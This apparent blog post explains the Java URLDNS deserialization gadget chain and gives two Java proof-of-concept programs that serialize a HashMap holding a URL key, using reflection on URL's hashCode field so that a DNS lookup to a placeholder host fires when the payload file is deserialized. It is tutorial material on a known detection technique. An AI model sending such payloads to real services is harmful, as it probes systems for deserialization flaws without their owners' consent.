Exploiting Java Deserialization with the URLDNS Gadget Chain

Analysis of the URLDNS Exploitation Chain

Chain Exploitation Method

Gadget sequence:

  1. HashMap.readObject()
  2. HashMap.putVal()
  3. HashMap.hash()
  4. URL.hashCode()

This chain leverages classes within Java's standard library without requiring third-party dependencies or specific JDK versions. The vulnerability originates from HashMap's deserialization implementation, which invokess putVal() and subsequently calls hash(key). This triggers the key's hashCode() method.

When the key is a URL object, its hashCode() implemantation uses URLStreamHandler, which performs DNS resolution through InetAddress.getByName(host). This establishes the complete exploitation path.

Initial Proof of Concept

public class URLDNSExploit {
    public static void main(String[] args) throws Exception {
        URL targetUrl = new URL("http://example.domain");
        Map<URL, String> payloadMap = new HashMap<>();
        payloadMap.put(targetUrl, "trigger");
        
        // Serialization
        new ObjectOutputStream(new FileOutputStream("payload.bin"))
            .writeObject(payloadMap);
            
        // Deserialization
        new ObjectInputStream(new FileInputStream("payload.bin"))
            .readObject();
    }
}

This initial implementation triggers DNS resolution during the put() operation before serialization occurs. To prevent premature DNS lookup, we modify the URL's internal state using reflection.

Final Implementation

public class URLDNSExploit {
    public static void main(String[] args) throws Exception {
        URL targetUrl = new URL("http://example.domain");
        Map<URL, String> payloadMap = new HashMap<>();
        
        Field hashField = URL.class.getDeclaredField("hashCode");
        hashField.setAccessible(true);
        hashField.set(targetUrl, 123); // Set temporary hash value
        
        payloadMap.put(targetUrl, "trigger");
        hashField.set(targetUrl, -1); // Reset to trigger on deserialization
        
        // Serialization
        new ObjectOutputStream(new FileOutputStream("payload.bin"))
            .writeObject(payloadMap);
            
        // Deserialization
        new ObjectInputStream(new FileInputStream("payload.bin"))
            .readObject();
    }
}

By temporarily setting the URL's hashCode field to a positive value before insertion, we prevent DNS resolution during map population. Resetting to -1 ensures proper hash recalculation during deserializtaion, triggering the DNS lookup as intended.

Tags: java deserialization GadgetChain URLDNS reflection

Posted on Mon, 28 Sep 2026 16:56:38 +0000 by maddogandnoriko